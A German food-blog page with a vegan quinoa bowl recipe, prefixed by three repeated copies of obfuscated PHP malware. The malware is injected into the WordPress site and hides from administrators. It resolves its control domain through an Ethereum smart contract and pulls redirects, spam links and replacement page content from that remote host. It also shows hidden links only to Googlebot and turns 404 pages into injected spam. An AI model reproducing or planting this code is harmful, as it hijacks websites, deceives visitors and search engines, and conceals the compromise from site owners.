if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */<!DOCTYPE html>
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<article id="post-1211" class="post-1211 post type-post status-publish format-standard has-post-thumbnail hentry category-kueche tag-eiweissreich tag-fitnessfood tag-gesund tag-glutenfrei tag-naehrstoffe tag-proteinreich tag-quinoa tag-quinoa-bowl tag-rezept tag-superfood tag-vegan adenit-single-post" >
	
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			Quinoa Bowl &#8211; Eine Schüssel voll mit veganem Superfood		</h2>
		
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		<a href="https://www.trail-kitchen.com/author/marlen/" rel="author">marlen</a>&nbsp;/&nbsp;25. Oktober 2016		</div>
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	<p>Seit ein paar Jahren ist Quinoa eines der „Superfoods“, um die gesundheitsbewußte Fitgirls und Fitboys einfach nicht mehr drum herum kommen. Die kleinen Körner dieses Pseudogetreides aus den Anden haben es aber auch wirklich in sich: Sie ist glutenfrei, reich an Proteinen und Mineralien, besonders an Magnesium und Eisen. Dazu kommen reichlich ungesättigte Fettsäuren. Damit stellt sie was die Nährwerte angeht das hier heimische Getreide schon ziemlich in den Schatten.</p>
<p>Die Gesundheitsaspekte alleine erklären jedoch nicht die Popularität von Quinoa. Durchsetzen konnte es sich vor allem, weil es so vielseitig verwendbar ist.</p>
<p>Quinoa findet man in Müslimischungen, man kann es als Reis-Ersatz oder generell als sättigende Beilage verwenden, und es ist zudem geeignet für die Herstellung von glutenfreiem Bier. Da ist doch für jeden etwas dabei, oder? 😉</p>
<p>Und was wäre ein Superfood, wenn man sich nicht ein paar fancy Rezepte damit überlegen würde? Ich möchte euch hier meine Variante einer Quinoa Bowl vorstellen. Ganz einfach gesagt ist es ein veganes Rezept, in dem Quinoa und Gemüse ein leckeres Gericht ergeben.</p>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="lazy lazy-hidden aligncenter size-large wp-image-1216" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="http://trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-850x567.jpg" alt="Zutaten" width="850" height="567" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-825x550.jpg 825w" data-lazy-sizes="auto, (max-width: 850px) 100vw, 850px" /><noscript><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-1216" src="http://trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-850x567.jpg" alt="Zutaten" width="850" height="567" srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten-825x550.jpg 825w" sizes="auto, (max-width: 850px) 100vw, 850px" /></noscript></p>
<p><strong>Für eine große Quinoa Bowl braucht ihr folgende Zutaten</strong>:</p>
<p>60 g Quinoa<br />
120 ml Wasser<br />
1 TL Kokosöl<br />
1 TL Oregano<br />
1/2 kleinen Fenchel<br />
1 kleine Paprika<br />
2 Hände voll frischen Spinat<br />
2-3 Frühlingszwiebeln<br />
4 Champignons<br />
Hummus nach Bedarf<br />
Meersalz<br />
Pfeffer</p>
<p><strong>Zubereitung</strong>:</p>
<p>Quinoa in heißem Wasser abspülen, um die Bitterstoffe zu entfernen. „Spülwasser“ abgießen und mit den 120 ml Wasser zum kochen bringen. 5 Minuten bei geringer Hitze und geschlossenem Deckel kochen und 15 Minuten ausquellen lassen, dabei den Topf von der heißen Platte nehmen und geschlossen halten. Anschließend das Kokosöl, den Oregano und etwas Salz und Pfeffer nach Geschmack unterrühren.</p>
<p><img loading="lazy" decoding="async" class="lazy lazy-hidden aligncenter size-large wp-image-1217" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="http://trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-850x567.jpg" alt="Zutaten1" width="850" height="567" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-825x550.jpg 825w" data-lazy-sizes="auto, (max-width: 850px) 100vw, 850px" /><noscript><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-1217" src="http://trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-850x567.jpg" alt="Zutaten1" width="850" height="567" srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Zutaten1-825x550.jpg 825w" sizes="auto, (max-width: 850px) 100vw, 850px" /></noscript></p>
<p>Während die Quinoa kocht und quillt das Gemüse putzen. Fenchel in Scheiben schneiden und dabei aufpassen, dass die Blätter am Strunk noch zusammen gehalten werden, Paprika in Würfel schneiden, Frühlingszwiebeln in kleine Röllchen schneiden und die Champignons vierteln.</p>
<p><img loading="lazy" decoding="async" class="lazy lazy-hidden aligncenter size-large wp-image-1213" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="http://trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-850x567.jpg" alt="Quinoa_bowl" width="850" height="567" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-825x550.jpg 825w" data-lazy-sizes="auto, (max-width: 850px) 100vw, 850px" /><noscript><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-1213" src="http://trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-850x567.jpg" alt="Quinoa_bowl" width="850" height="567" srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl-825x550.jpg 825w" sizes="auto, (max-width: 850px) 100vw, 850px" /></noscript></p>
<p>Anschließend das Gemüse möglichst Sorte für Sorte kurz in einer heißen Pfanne oder einem Wok anbraten. Den Spinat nur so lange in der heißen Pfanne lassen, bis die Blätter zusammen gefallen sind.</p>
<p>Quinoa als Basis in eine Schüssel gegeben und das Gemüse oben darauf angerichtet werden.</p>
<p>Als eine Art Soße eignet sich besonders gut Hummus. Mein schnelles und einfaches Rezept dazu findet ihr <a href="http://trail-kitchen.com/leckerer-hummus-schnell-selbst-gemacht/" target="_blank">HIER</a>.</p>
<p><img loading="lazy" decoding="async" class="lazy lazy-hidden aligncenter size-large wp-image-1214" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="http://trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-850x567.jpg" alt="Quinoa_bowl1" width="850" height="567" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-825x550.jpg 825w" data-lazy-sizes="auto, (max-width: 850px) 100vw, 850px" /><noscript><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-1214" src="http://trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-850x567.jpg" alt="Quinoa_bowl1" width="850" height="567" srcset="https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2016/10/Quinoa_bowl1-825x550.jpg 825w" sizes="auto, (max-width: 850px) 100vw, 850px" /></noscript></p>
